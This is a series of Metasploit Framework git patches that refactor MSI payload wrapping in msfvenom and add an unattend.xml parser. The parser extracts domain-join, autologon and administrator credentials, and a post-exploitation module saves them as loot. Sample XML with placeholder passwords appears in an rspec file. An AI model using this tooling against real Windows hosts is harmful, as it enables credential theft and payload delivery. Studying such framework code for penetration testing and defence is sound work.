datastore.include? 'MSI::Custom' + + exe = generate_payload_exe(opts) + + opts.merge! ({ + :msi_template => datastore['MSI::Template'], + :msi_template_path => datastore['MSI::Path'], + }) + - if datastore.include? 'EXE::Custom' - exe = get_custom_exe - else - exe_init_options(opts) - exe = opts[:code] - exe ||= payload.encoded - end if opts[:arch] and (opts[:arch] == ARCH_X64 or opts[:arch] == ARCH_X86_64) msi = Msf::Util::EXE.to_win64pe_msi(framework, exe, opts) else msi = Msf::Util::EXE.to_win32pe_msi(framework, exe, opts) end - exe_post_generation(opts) return msi end diff --git a/lib/msf/util/exe.rb b/lib/msf/util/exe.rb index 6243265846..83db5616f5 100755 --- a/lib/msf/util/exe.rb +++ b/lib/msf/util/exe.rb @@ -533,22 +533,27 @@ require 'digest/sha1' return pe end - def self.to_win32pe_msi(framework, code, opts={}) - pe = to_win32pe(framework, code, opts) + def self.to_win32pe_msi(framework, pe, opts={}) + opts[:msi_template] ||= "template_x86_windows.msi" return replace_msi_buffer(pe, opts) end - def self.to_win64pe_msi(framework, code, opts={}) - pe = to_win64pe(framework, code, opts) + def self.to_win64pe_msi(framework, pe, opts={}) + opts[:msi_template] ||= "template_x64_windows.msi" return replace_msi_buffer(pe, opts) end def self.replace_msi_buffer(pe, opts) - #User cannot specify their own template due to calling to_win32pe - opts[:template].gsub!(/\.exe/, '.msi') + opts[:msi_template_path] ||= File.join(File.dirname(__FILE__), "..", "..", "..", "data", "templates") + + if opts[:msi_template].include?(File::SEPARATOR) + template = opts[:msi_template] + else + template = File.join(opts[:msi_template_path], opts[:msi_template]) + end msi = '' - File.open(opts[:template], "rb") { |fd| + File.open(template, "rb") { |fd| msi = fd.read(fd.stat.size) } @@ -1950,11 +1955,13 @@ End Sub when 'msi' if (not arch or (arch.index(ARCH_X86))) - output = Msf::Util::EXE.to_win32pe_msi(framework, code, exeopts) + exe = Msf::Util::EXE.to_win32pe(framework, code, exeopts) + output = Msf::Util::EXE.to_win32pe_msi(framework, exe, exeopts) end if(arch and (arch.index( ARCH_X86_64 ) or arch.index( ARCH_X64 ))) - output = Msf::Util::EXE.to_win64pe_msi(framework, code, exeopts) + exe = Msf::Util::EXE.to_win64pe(framework, code, exeopts) + output = Msf::Util::EXE.to_win64pe_msi(framework, exe, exeopts) end when 'elf' diff --git a/msfvenom b/msfvenom index 49aef18761..57401f394e 100755 --- a/msfvenom +++ b/msfvenom @@ -497,9 +497,10 @@ when /dll/i $stdout.write dll when /msi/i + exe = Msf::Util::EXE.to_executable_fmt($framework, opts[:arch], opts[:platform], payload_raw, 'exe', exeopts) msi = case opts[:arch] - when /x86/; Msf::Util::EXE.to_win32pe_msi($framework, payload_raw) - when /x64|x86_64/; Msf::Util::EXE.to_win64pe_msi($framework, payload_raw) + when /x86/; Msf::Util::EXE.to_win32pe_msi($framework, exe) + when /x64|x86_64/; Msf::Util::EXE.to_win64pe_msi($framework, exe) end if msi.nil? print_error("This format does not support that architecture") From f9327d169b0bf748dd9564ae4be08948cef7e0ba Mon Sep 17 00:00:00 2001 From: Meatballs Date: Sun, 17 Mar 2013 14:31:40 -0400 Subject: [PATCH 009/210] msftidy --- lib/msf/core/exploit/exe.rb | 6 +++--- msfvenom | 14 +++++++------- 2 files changed, 10 insertions(+), 10 deletions(-) diff --git a/lib/msf/core/exploit/exe.rb b/lib/msf/core/exploit/exe.rb index bc63727903..b1cfba2e5a 100644 --- a/lib/msf/core/exploit/exe.rb +++ b/lib/msf/core/exploit/exe.rb @@ -104,15 +104,15 @@ module Exploit::EXE end def generate_payload_msi(opts = {}) - return get_custom_exe(datastore['MSI::Custom']) if datastore.include? 'MSI::Custom' + return get_custom_exe(datastore['MSI::Custom']) if datastore.include? 'MSI::Custom' exe = generate_payload_exe(opts) - opts.merge! ({ + opts.merge! ({ :msi_template => datastore['MSI::Template'], :msi_template_path => datastore['MSI::Path'], }) - + if opts[:arch] and (opts[:arch] == ARCH_X64 or opts[:arch] == ARCH_X86_64) msi = Msf::Util::EXE.to_win64pe_msi(framework, exe, opts) diff --git a/msfvenom b/msfvenom index 57401f394e..e11a0d3c44 100755 --- a/msfvenom +++ b/msfvenom @@ -499,13 +499,13 @@ when /dll/i when /msi/i exe = Msf::Util::EXE.to_executable_fmt($framework, opts[:arch], opts[:platform], payload_raw, 'exe', exeopts) msi = case opts[:arch] - when /x86/; Msf::Util::EXE.to_win32pe_msi($framework, exe) - when /x64|x86_64/; Msf::Util::EXE.to_win64pe_msi($framework, exe) - end - if msi.nil? - print_error("This format does not support that architecture") - exit - end + when /x86/; Msf::Util::EXE.to_win32pe_msi($framework, exe) + when /x64|x86_64/; Msf::Util::EXE.to_win64pe_msi($framework, exe) + end + if msi.nil? + print_error("This format does not support that architecture") + exit + end $stdout.write msi when /exe/i From e4ff7a2f2ced6f0ae033604176b04107122fa108 Mon Sep 17 00:00:00 2001 From: Meatballs Date: Tue, 9 Apr 2013 21:15:04 +0100 Subject: [PATCH 010/210] Address egypt's feedback --- lib/rex/proto/dcerpc/client.rb | 9 +--- lib/rex/proto/dcerpc/wdscp/packet.rb | 42 ++++++++++++------- .../dcerpc/windows_deployment_services.rb | 20 ++++----- 3 files changed, 37 insertions(+), 34 deletions(-) diff --git a/lib/rex/proto/dcerpc/client.rb b/lib/rex/proto/dcerpc/client.rb index c4aaaa6f3a..a11608e923 100644 --- a/lib/rex/proto/dcerpc/client.rb +++ b/lib/rex/proto/dcerpc/client.rb @@ -252,14 +252,7 @@ require 'rex/proto/smb/exceptions' bind, context = Rex::Proto::DCERPC::Packet.make_bind_fake_multi(*args) else - if self.handle.uuid.length == 4 - bind, context = Rex::Proto::DCERPC::Packet.make_bind( self.handle.uuid[0], - self.handle.uuid[1], - self.handle.uuid[2], - self.handle.uuid[3]) - else - bind, context = Rex::Proto::DCERPC::Packet.make_bind(self.handle.uuid[0], self.handle.uuid[1]) - end + bind, context = Rex::Proto::DCERPC::Packet.make_bind(*self.handle.uuid) end raise 'make_bind failed' if !bind diff --git a/lib/rex/proto/dcerpc/wdscp/packet.rb b/lib/rex/proto/dcerpc/wdscp/packet.rb index 972f0ed2a4..7ccdfb60b7 100644 --- a/lib/rex/proto/dcerpc/wdscp/packet.rb +++ b/lib/rex/proto/dcerpc/wdscp/packet.rb @@ -20,12 +20,21 @@ class Packet def add_var(name, type_mod=0, value_length=nil, array_size=0, value) padding = 0 value_type = WDS_CONST::BASE_TYPE[WDS_CONST::VAR_TYPE_LOOKUP[name]] - name = name.encode('UTF-16LE').unpack('H*')[0] + name = Rex::Text.to_unicode(name).unpack('H*')[0] value_length ||= value.length - len = 16 * (1 + (value_length/16)) # Variable block total size should be evenly divisible by 16. - @variables << [name, padding, value_type, type_mod, value_length, array_size, value].pack('H132vvvVVa%i' % len) + # Variable block total size should be evenly divisible by 16. + len = 16 * (1 + (value_length/16)) + @variables << + [ name, + padding, + value_type, + type_mod, + value_length, + array_size, + value + ].pack('H132vvvVVa%i' % len) end def create @@ -37,11 +46,12 @@ class Packet packet_size += var.length end - packet_size += 16 # variables + operation + # variables + operation + packet_size += 16 # These bytes are not part of the spec but are not part of DCERPC according to Wireshark # Perhaps something from MSRPC specific? Basically length of the WDSCP packet twice... - packet << [packet_size+40].pack('Q')*2 + packet << Rex::Text.pack_int64le(packet_size+40)*2 packet << create_endpoint_header(packet_size) packet << create_operation_header(packet_size, var_count, @packet_type, @opcode) packet.concat(@variables) @@ -50,21 +60,21 @@ class Packet end def create_operation_header(packet_size, var_count, packet_type=:REQUEST, opcode) - return [ packet_size, # PacketSize - 256, # Version - packet_type, # Packet_Type - 0, # Padding - opcode, # Opcode - var_count, # Variable Count + return [ packet_size, # PacketSize + 256, # Version + packet_type, # Packet_Type + 0, # Padding + opcode, # Opcode + var_count, # Variable Count ].pack('VvCCVV') end def create_endpoint_header(packet_size) - return [ 40, # Header_Size - 256, # Version - packet_size, # Packet_Size - This doesn't differ from operation header despite the spec... - WDS_CONST::OS_DEPLOYMENT_GUID, # GUID - "\x00"*16, # Reserved + return [ 40, # Header_Size + 256, # Version + packet_size, # Packet_Size - This doesn't differ from operation header despite the spec... + WDS_CONST::OS_DEPLOYMENT_GUID, # GUID + "\x00"*16, # Reserved ].pack('vvVa16a16') end end diff --git a/modules/auxiliary/scanner/dcerpc/windows_deployment_services.rb b/modules/auxiliary/scanner/dcerpc/windows_deployment_services.rb index 18c9026c0f..119c44af1a 100644 --- a/modules/auxiliary/scanner/dcerpc/windows_deployment_services.rb +++ b/modules/auxiliary/scanner/dcerpc/windows_deployment_services.rb @@ -66,16 +66,16 @@ class Metasploit3 < Msf::Auxiliary def query_host(rhost) # Create a handler with our UUID and Transfer Syntax self.handle = Rex::Proto::DCERPC::Handle.new( - [ - WDS_CONST::WDSCP_RPC_UUID, - '1.0', - '71710533-beba-4937-8319-b5dbef9ccc36', - 1 - ], - 'ncacn_ip_tcp', - rhost, - [datastore['RPORT']] - ) + [ + WDS_CONST::WDSCP_RPC_UUID, + '1.0', + '71710533-beba-4937-8319-b5dbef9ccc36', + 1 + ], + 'ncacn_ip_tcp', + rhost, + [datastore['RPORT']] + ) print_status("Binding to #{handle} ...") From ba49252e45f4a1834078867be59504a89692f9f3 Mon Sep 17 00:00:00 2001 From: Meatballs Date: Thu, 25 Apr 2013 23:01:19 +0100 Subject: [PATCH 011/210] Initial --- modules/auxiliary/parser/unattend.rb | 64 ++++++++++++++++++++++++++++ 1 file changed, 64 insertions(+) create mode 100644 modules/auxiliary/parser/unattend.rb diff --git a/modules/auxiliary/parser/unattend.rb b/modules/auxiliary/parser/unattend.rb new file mode 100644 index 0000000000..8f3ac73f64 --- /dev/null +++ b/modules/auxiliary/parser/unattend.rb @@ -0,0 +1,64 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'rex/parser/unattend' +require 'msf/core/auxiliary/report' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Auxiliary::Report + + def initialize(info={}) + super( update_info( info, + 'Name' => 'Auxilliary Parser Windows Group Policy Preference Passwords', + 'Description' => %q{ + This module parses Group Policy Preference files in the target directory. + + See also: post/windows/gather/credentials/gpp + }, + 'License' => MSF_LICENSE, + 'Author' =>[ + 'Ben Campbell ', + ], + 'References' => + [ + ['URL', 'http://esec-pentest.sogeti.com/exploiting-windows-2008-group-policy-preferences'], + ['URL', 'http://msdn.microsoft.com/en-us/library/cc232604(v=prot.13)'], + ['URL', 'http://rewtdance.blogspot.com/2012/06/exploiting-windows-2008-group-policy.html'], + ['URL', 'http://blogs.technet.com/grouppolicy/archive/2009/04/22/passwords-in-group-policy-preferences-updated.aspx'] + ], + )) + + register_options([ + OptPath.new('PATH', [true, 'Directory to parse.']), + OptBool.new('RECURSIVE', [true, 'Recursively check for files', false]), + ]) + end + + def run + if datastore['RECURSIVE'] + ext = "**/*.xml" + else + ext = "/*.xml" + end + + filepath = File.join(datastore['PATH'], ext) + Dir.glob(filepath) do |item| + print_status "Processing #{item}" + xml = File.read(item) + filetype = File.basename(item.gsub("\\","/")) + results = Rex::Parser::GPP.parse(xml) + tables = Rex::Parser::GPP.create_tables(results, filetype) + tables.each do |table| + table.print + end + end + + end +end + From 235887ccb5213cb3724414052a8286e387488be3 Mon Sep 17 00:00:00 2001 From: Meatballs Date: Thu, 25 Apr 2013 23:25:05 +0100 Subject: [PATCH 012/210] Finished --- lib/rex/parser/unattend.rb | 59 ++++++++++++++++++- modules/auxiliary/parser/unattend.rb | 40 +++++++------ modules/post/windows/gather/enum_unattend.rb | 61 ++------------------ 3 files changed, 83 insertions(+), 77 deletions(-) diff --git a/lib/rex/parser/unattend.rb b/lib/rex/parser/unattend.rb index 09989418a2..e6333546d3 100644 --- a/lib/rex/parser/unattend.rb +++ b/lib/rex/parser/unattend.rb @@ -12,6 +12,7 @@ module Parser class Unattend def self.parse(xml) + return [] if xml.nil? or xml.elements['unattend'].nil? results = [] unattend = xml.elements['unattend'] return if unattend.nil? @@ -34,7 +35,7 @@ class Unattend # def self.extract_deployment(deployment) return [] if deployment.nil? - domain = deployment.elements['Login/Credentials/Domain'].get_text.value rescue '' + domain = deployment.elements['Login/Credentials/Domain'].get_text.value rescue '' username = deployment.elements['Login/Credentials/Username'].get_text.value rescue '' password = deployment.elements['Login/Credentials/Password'].get_text.value rescue '' plaintext = deployment.elements['Login/Credentials/Password/PlainText'].get_text.value rescue 'true' @@ -53,7 +54,7 @@ class Unattend def self.extract_autologon(auto_logon) return [] if auto_logon.nil? - domain = auto_logon.elements['Domain'].get_text.value rescue '' + domain = auto_logon.elements['Domain'].get_text.value rescue '' username = auto_logon.elements['Username'].get_text.value rescue '' password = auto_logon.elements['Password/Value'].get_text.value rescue '' plaintext = auto_logon.elements['Password/PlainText'].get_text.value rescue 'true' @@ -128,6 +129,60 @@ class Unattend return results end + def self.create_tables(results) + return [] if results.nil? or results.empty? + tables = [] + wds_table = Rex::Ui::Text::Table.new({ + 'Header' => 'WindowsDeploymentServices', + 'Indent' => 1, + 'Columns' => ['Domain', 'Username', 'Password'] + }) + + autologin_table = Rex::Ui::Text::Table.new({ + 'Header' => 'AutoLogon', + 'Indent' => 1, + 'Columns' => ['Domain', 'Username', 'Password'] + }) + + admin_table = Rex::Ui::Text::Table.new({ + 'Header' => 'AdministratorPasswords', + 'Indent' => 1, + 'Columns' => ['Username', 'Password'] + }) + + domain_table = Rex::Ui::Text::Table.new({ + 'Header' => 'DomainAccounts', + 'Indent' => 1, + 'Columns' => ['Username', 'Group'] + }) + + local_table = Rex::Ui::Text::Table.new({ + 'Header' => 'LocalAccounts', + 'Indent' => 1, + 'Columns' => ['Username', 'Password'] + }) + results.each do |result| + case result['type'] + when 'wds' + wds_table << [result['domain'], result['username'], result['password']] + when 'auto' + autologin_table << [result['domain'], result['username'], result['password']] + when 'admin' + admin_table << [result['username'], result['password']] + when 'domain' + domain_table << [result['username'], result['group']] + when 'local' + local_table << [result['username'], result['password']] + end + end + + tables << autologin_table + tables << admin_table + tables << domain_table + tables << local_table + + return tables + end end end end diff --git a/modules/auxiliary/parser/unattend.rb b/modules/auxiliary/parser/unattend.rb index 8f3ac73f64..9d49f9573a 100644 --- a/modules/auxiliary/parser/unattend.rb +++ b/modules/auxiliary/parser/unattend.rb @@ -7,30 +7,25 @@ require 'msf/core' require 'rex/parser/unattend' -require 'msf/core/auxiliary/report' class Metasploit3 < Msf::Auxiliary - include Msf::Auxiliary::Report - def initialize(info={}) super( update_info( info, - 'Name' => 'Auxilliary Parser Windows Group Policy Preference Passwords', - 'Description' => %q{ - This module parses Group Policy Preference files in the target directory. + 'Name' => 'Auxilliary Parser Windows Unattend Passwords', + 'Description' => %q{ + This module parses Unattend files in the target directory. - See also: post/windows/gather/credentials/gpp + See also: post/windows/gather/enum_unattend }, - 'License' => MSF_LICENSE, - 'Author' =>[ + 'License' => MSF_LICENSE, + 'Author' =>[ 'Ben Campbell ', ], - 'References' => + 'References' => [ - ['URL', 'http://esec-pentest.sogeti.com/exploiting-windows-2008-group-policy-preferences'], - ['URL', 'http://msdn.microsoft.com/en-us/library/cc232604(v=prot.13)'], - ['URL', 'http://rewtdance.blogspot.com/2012/06/exploiting-windows-2008-group-policy.html'], - ['URL', 'http://blogs.technet.com/grouppolicy/archive/2009/04/22/passwords-in-group-policy-preferences-updated.aspx'] + ['URL', 'http://technet.microsoft.com/en-us/library/ff715801'], + ['URL', 'http://technet.microsoft.com/en-us/library/cc749415(v=ws.10).aspx'] ], )) @@ -50,15 +45,22 @@ class Metasploit3 < Msf::Auxiliary filepath = File.join(datastore['PATH'], ext) Dir.glob(filepath) do |item| print_status "Processing #{item}" - xml = File.read(item) - filetype = File.basename(item.gsub("\\","/")) - results = Rex::Parser::GPP.parse(xml) - tables = Rex::Parser::GPP.create_tables(results, filetype) + file = File.read(item) + begin + xml = REXML::Document.new(file) + rescue REXML::ParseException => e + print_error("#{item} invalid xml format.") + vprint_line(e.message) + next + end + + results = Rex::Parser::Unattend.parse(xml) + tables = Rex::Parser::Unattend.create_tables(results) tables.each do |table| table.print + print_line end end - end end diff --git a/modules/post/windows/gather/enum_unattend.rb b/modules/post/windows/gather/enum_unattend.rb index baa33094cc..a71004c969 100644 --- a/modules/post/windows/gather/enum_unattend.rb +++ b/modules/post/windows/gather/enum_unattend.rb @@ -165,7 +165,11 @@ class Metasploit3 < Msf::Post return if not xml results = Rex::Parser::Unattend.parse(xml) - tables = create_display_tables(results) + tables = Rex::Parser::Unattend.create_tables(results) + tables.each do |table| + table.print + print_line + end # Save the data save_cred_tables(tables.flatten) if not tables.empty? @@ -174,59 +178,4 @@ class Metasploit3 < Msf::Post end end - def create_display_tables(results) - tables = [] - wds_table = Rex::Ui::Text::Table.new({ - 'Header' => 'WindowsDeploymentServices', - 'Indent' => 1, - 'Columns' => ['Domain', 'Username', 'Password'] - }) - - autologin_table = Rex::Ui::Text::Table.new({ - 'Header' => 'AutoLogon', - 'Indent' => 1, - 'Columns' => ['Domain', 'Username', 'Password'] - }) - - admin_table = Rex::Ui::Text::Table.new({ - 'Header' => 'AdministratorPasswords', - 'Indent' => 1, - 'Columns' => ['Username', 'Password'] - }) - - domain_table = Rex::Ui::Text::Table.new({ - 'Header' => 'DomainAccounts', - 'Indent' => 1, - 'Columns' => ['Username', 'Group'] - }) - - local_table = Rex::Ui::Text::Table.new({ - 'Header' => 'LocalAccounts', - 'Indent' => 1, - 'Columns' => ['Username', 'Password'] - }) - results.each do |result| - unless result.empty? - case result['type'] - when 'wds' - wds_table << [result['domain'], result['username'], result['password']] - when 'auto' - autologin_table << [result['domain'], result['username'], result['password']] - when 'admin' - admin_table << [result['username'], result['password']] - when 'domain' - domain_table << [result['username'], result['group']] - when 'local' - local_table << [result['username'], result['password']] - end - end - end - - tables << autologin_table - tables << admin_table - tables << domain_table - tables << local_table - - return tables - end end From e2bf4882f05548a67cbc80f5f12daf0cf84482c7 Mon Sep 17 00:00:00 2001 From: Meatballs Date: Fri, 26 Apr 2013 00:20:10 +0100 Subject: [PATCH 013/210] Add domain join parse --- lib/rex/parser/unattend.rb | 74 ++++++++------------ modules/auxiliary/parser/unattend.rb | 8 +-- modules/post/windows/gather/enum_unattend.rb | 21 +++--- 3 files changed, 40 insertions(+), 63 deletions(-) diff --git a/lib/rex/parser/unattend.rb b/lib/rex/parser/unattend.rb index e6333546d3..b2ae8183d9 100644 --- a/lib/rex/parser/unattend.rb +++ b/lib/rex/parser/unattend.rb @@ -9,13 +9,14 @@ module Parser # and uses REXML (as opposed to Nokogiri) for its XML parsing. # See: http://technet.microsoft.com/en-us/library/ff715801 # http://technet.microsoft.com/en-us/library/cc749415(v=ws.10).aspx +# Samples: http://technet.microsoft.com/en-us/library/cc732280%28v=ws.10%29.aspx class Unattend def self.parse(xml) - return [] if xml.nil? or xml.elements['unattend'].nil? + return [] if xml.nil? results = [] unattend = xml.elements['unattend'] - return if unattend.nil? + return [] if unattend.nil? unattend.each_element do |settings| next if settings.class != REXML::Element settings.get_elements('component').each do |c| @@ -23,6 +24,7 @@ class Unattend results << extract_useraccounts(c.elements['UserAccounts']) results << extract_autologon(c.elements['AutoLogon']) results << extract_deployment(c.elements['WindowsDeploymentServices']) + results << extract_domain_join(c.elements['Identification/Credentials']) end end return results.flatten @@ -48,6 +50,18 @@ class Unattend return {'type' => 'wds', 'domain' => domain, 'username' => username, 'password' => password } end + # + # Extract sensitive data from 'Secure' Domain Join + # + def self.extract_domain_join(credentials) + return [] if credentials.nil? + domain = credentials.elements['Domain'].get_text.value rescue '' + username = credentials.elements['Username'].get_text.value rescue '' + password = credentials.elements['Password'].get_text.value rescue '' + + return {'type' => 'domain_join', 'domain' => domain, 'username' => username, 'password' => password } + end + # # Extract sensitive data from AutoLogon # @@ -129,59 +143,27 @@ class Unattend return results end - def self.create_tables(results) - return [] if results.nil? or results.empty? - tables = [] - wds_table = Rex::Ui::Text::Table.new({ - 'Header' => 'WindowsDeploymentServices', + def self.create_table(results) + return nil if results.nil? or results.empty? + table = Rex::Ui::Text::Table.new({ + 'Header' => 'Unattend Credentials', 'Indent' => 1, - 'Columns' => ['Domain', 'Username', 'Password'] + 'Columns' => ['Type', 'Domain', 'Username', 'Password', 'Groups'] }) - autologin_table = Rex::Ui::Text::Table.new({ - 'Header' => 'AutoLogon', - 'Indent' => 1, - 'Columns' => ['Domain', 'Username', 'Password'] - }) - - admin_table = Rex::Ui::Text::Table.new({ - 'Header' => 'AdministratorPasswords', - 'Indent' => 1, - 'Columns' => ['Username', 'Password'] - }) - - domain_table = Rex::Ui::Text::Table.new({ - 'Header' => 'DomainAccounts', - 'Indent' => 1, - 'Columns' => ['Username', 'Group'] - }) - - local_table = Rex::Ui::Text::Table.new({ - 'Header' => 'LocalAccounts', - 'Indent' => 1, - 'Columns' => ['Username', 'Password'] - }) results.each do |result| case result['type'] - when 'wds' - wds_table << [result['domain'], result['username'], result['password']] - when 'auto' - autologin_table << [result['domain'], result['username'], result['password']] - when 'admin' - admin_table << [result['username'], result['password']] + when 'wds', 'auto', 'domain_join' + table << [result['type'], result['domain'], result['username'], result['password'], ""] + when 'admin', 'local' + table << [result['type'], "", result['username'], result['password'], ""] when 'domain' - domain_table << [result['username'], result['group']] - when 'local' - local_table << [result['username'], result['password']] + table << [result['type'], "", result['username'], "", result['group']] + end end - tables << autologin_table - tables << admin_table - tables << domain_table - tables << local_table - - return tables + return table end end end diff --git a/modules/auxiliary/parser/unattend.rb b/modules/auxiliary/parser/unattend.rb index 9d49f9573a..72e07221f5 100644 --- a/modules/auxiliary/parser/unattend.rb +++ b/modules/auxiliary/parser/unattend.rb @@ -55,11 +55,9 @@ class Metasploit3 < Msf::Auxiliary end results = Rex::Parser::Unattend.parse(xml) - tables = Rex::Parser::Unattend.create_tables(results) - tables.each do |table| - table.print - print_line - end + table = Rex::Parser::Unattend.create_table(results) + table.print unless table.nil? + print_line end end end diff --git a/modules/post/windows/gather/enum_unattend.rb b/modules/post/windows/gather/enum_unattend.rb index a71004c969..999965db2a 100644 --- a/modules/post/windows/gather/enum_unattend.rb +++ b/modules/post/windows/gather/enum_unattend.rb @@ -79,12 +79,11 @@ class Metasploit3 < Msf::Post # # Save Rex tables separately # - def save_cred_tables(cred_tables) - cred_tables.each do |t| - vprint_line("\n#{t.to_s}\n") - p = store_loot('windows.unattended.creds', 'text/csv', session, t.to_csv, t.header, t.header) - print_status("#{t.header} saved as: #{p}") - end + def save_cred_tables(cred_table) + t = cred_table + vprint_line("\n#{t.to_s}\n") + p = store_loot('windows.unattended.creds', 'text/csv', session, t.to_csv, t.header, t.header) + print_status("#{t.header} saved as: #{p}") end @@ -165,14 +164,12 @@ class Metasploit3 < Msf::Post return if not xml results = Rex::Parser::Unattend.parse(xml) - tables = Rex::Parser::Unattend.create_tables(results) - tables.each do |table| - table.print - print_line - end + table = Rex::Parser::Unattend.create_table(results) + table.print unless table.nil? + print_line # Save the data - save_cred_tables(tables.flatten) if not tables.empty? + save_cred_tables(table) if not table.nil? return if not datastore['GETALL'] end From 668dd78587d24fd824581b4b041272c6ecb6df5f Mon Sep 17 00:00:00 2001 From: Meatballs Date: Fri, 26 Apr 2013 00:21:31 +0100 Subject: [PATCH 014/210] Msftidy --- lib/rex/parser/unattend.rb | 15 +++++++-------- 1 file changed, 7 insertions(+), 8 deletions(-) diff --git a/lib/rex/parser/unattend.rb b/lib/rex/parser/unattend.rb index b2ae8183d9..177ad8ebda 100644 --- a/lib/rex/parser/unattend.rb +++ b/lib/rex/parser/unattend.rb @@ -13,7 +13,7 @@ module Parser class Unattend def self.parse(xml) - return [] if xml.nil? + return [] if xml.nil? results = [] unattend = xml.elements['unattend'] return [] if unattend.nil? @@ -55,12 +55,12 @@ class Unattend # def self.extract_domain_join(credentials) return [] if credentials.nil? - domain = credentials.elements['Domain'].get_text.value rescue '' - username = credentials.elements['Username'].get_text.value rescue '' - password = credentials.elements['Password'].get_text.value rescue '' + domain = credentials.elements['Domain'].get_text.value rescue '' + username = credentials.elements['Username'].get_text.value rescue '' + password = credentials.elements['Password'].get_text.value rescue '' - return {'type' => 'domain_join', 'domain' => domain, 'username' => username, 'password' => password } - end + return {'type' => 'domain_join', 'domain' => domain, 'username' => username, 'password' => password } + end # # Extract sensitive data from AutoLogon @@ -152,14 +152,13 @@ class Unattend }) results.each do |result| - case result['type'] + case result['type'] when 'wds', 'auto', 'domain_join' table << [result['type'], result['domain'], result['username'], result['password'], ""] when 'admin', 'local' table << [result['type'], "", result['username'], result['password'], ""] when 'domain' table << [result['type'], "", result['username'], "", result['group']] - end end From d8430c83cf4e8a3d541f677f6a793776b47d429e Mon Sep 17 00:00:00 2001 From: Meatballs Date: Fri, 26 Apr 2013 00:47:00 +0100 Subject: [PATCH 015/210] Add simple rspec --- lib/rex/parser/unattend.rb | 2 ++ 1 file changed, 2 insertions(+) diff --git a/lib/rex/parser/unattend.rb b/lib/rex/parser/unattend.rb index 177ad8ebda..4f035704bb 100644 --- a/lib/rex/parser/unattend.rb +++ b/lib/rex/parser/unattend.rb @@ -11,6 +11,8 @@ module Parser # http://technet.microsoft.com/en-us/library/cc749415(v=ws.10).aspx # Samples: http://technet.microsoft.com/en-us/library/cc732280%28v=ws.10%29.aspx class Unattend + + require 'rex/text' def self.parse(xml) return [] if xml.nil? From 590b8a3e263e2c3b55528edcfd69f2aca137a8d2 Mon Sep 17 00:00:00 2001 From: Meatballs Date: Fri, 26 Apr 2013 00:50:29 +0100 Subject: [PATCH 016/210] Added rspec --- spec/lib/rex/parser/unattend_spec.rb | 52 ++++++++++++++++++++++++++++ 1 file changed, 52 insertions(+) create mode 100644 spec/lib/rex/parser/unattend_spec.rb diff --git a/spec/lib/rex/parser/unattend_spec.rb b/spec/lib/rex/parser/unattend_spec.rb new file mode 100644 index 0000000000..f5eb907fc8 --- /dev/null +++ b/spec/lib/rex/parser/unattend_spec.rb @@ -0,0 +1,52 @@ +require 'rex/parser/unattend' +require 'rexml/document' + +dj = REXML::Document.new(' false Fabrikam.com Password1 MyUserName %MACHINENAME% ') + +lng = REXML::Document.new(' false Fabrikam.com Password1 MyUserName %MACHINENAME% ') + +std = REXML::Document.new(' OnError username Fabrikam.com my_password OnError Windows Vista with Office ImageGroup1 Install.wim 0 1 OnError 0 false 1 1 C NTFS true false OnError en-US en-US ') + +unsecure = REXML::Document.new(' true XXXX-XXXX-XXXX-XXXX-XXXX ') + +b64 = REXML::Document.new(' VABlAG0AcAAxADIAMwBQAGEAcwBzAHcAbwByAGQA false</PlainText> </Password> <Enabled>true</Enabled> <Username>Administrator</Username> </AutoLogon> <FirstLogonCommands> <SynchronousCommand wcm:action="add"> <Order>1</Order> <CommandLine>powershell.exe -command {Set-ExecutionPolicy Unrestricted}</CommandLine> </SynchronousCommand> <SynchronousCommand wcm:action="add"> <Order>2</Order> <CommandLine>powershell.exe -file &quot;c:\Windows\System32\sysprep\2K12-1-rename.ps1&quot;</CommandLine> </SynchronousCommand> </FirstLogonCommands> <OOBE> <HideEULAPage>true</HideEULAPage> <HideOEMRegistrationScreen>true</HideOEMRegistrationScreen> <HideLocalAccountScreen>true</HideLocalAccountScreen> <HideWirelessSetupInOOBE>true</HideWirelessSetupInOOBE> <HideOnlineAccountScreens>true</HideOnlineAccountScreens> <NetworkLocation>Work</NetworkLocation> <SkipMachineOOBE>true</SkipMachineOOBE> <SkipUserOOBE>true</SkipUserOOBE> </OOBE> <UserAccounts> <AdministratorPassword> <Value>VABlAG0AcAAxADIAMwBBAGQAbQBpAG4AaQBzAHQAcgBhAHQAbwByAFAAYQBzAHMAdwBvAHIAZAA=</Value> <PlainText>false</PlainText> </AdministratorPassword> </UserAccounts> </component> </settings> <cpi:offlineImage cpi:source="wim:c:/users/administrator/desktop/2k12-install.wim#Windows Server 2012 SERVERSTANDARD" xmlns:cpi="urn:schemas-microsoft-com:cpi" /> </unattend>') + +comb = REXML::Document.new('<unattend xmlns="urn:schemas-microsoft-com:unattend"> <settings pass="windowsPE"> <component name="Microsoft-Windows-Setup" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" processorArchitecture="x86"> <WindowsDeploymentServices> <Login> <WillShowUI>OnError</WillShowUI> <Credentials> <Username>Administrator</Username> <Domain>Fabrikam.com</Domain> <Password>Password1</Password> </Credentials> </Login> <ImageSelection> <InstallImage> <ImageName>Install Image</ImageName> <ImageGroup>defaultx86</ImageGroup> <Filename>install.wim</Filename> </InstallImage> <WillShowUI>OnError</WillShowUI> <InstallTo> <DiskID>0</DiskID> <PartitionID>1</PartitionID> </InstallTo> </ImageSelection> </WindowsDeploymentServices> <DiskConfiguration> <WillShowUI>OnError</WillShowUI> <Disk> <DiskID>0</DiskID> <WillWipeDisk>false</WillWipeDisk> <ModifyPartitions> <ModifyPartition> <Order>1</Order> <PartitionID>1</PartitionID> <Letter>C</Letter> <Label>Vista</Label> <Format>NTFS</Format> <Active>true</Active> <Extend>false</Extend> </ModifyPartition> </ModifyPartitions> </Disk> </DiskConfiguration> </component> <component name="Microsoft-Windows-International-Core-WinPE" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" processorArchitecture="x86"> <SetupUILanguage> <WillShowUI>OnError</WillShowUI> <UILanguage>en-US</UILanguage> </SetupUILanguage> <UILanguage>en-US</UILanguage> </component></settings><settings pass="specialize"> <component name="Microsoft-Windows-UnattendedJoin" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" processorArchitecture="x86"> <Identification> <UnsecureJoin>true</UnsecureJoin> </Identification> </component> <component name="Microsoft-Windows-Shell-Setup" publicKeyToken="31bf3856ad364e35" language="neutral" 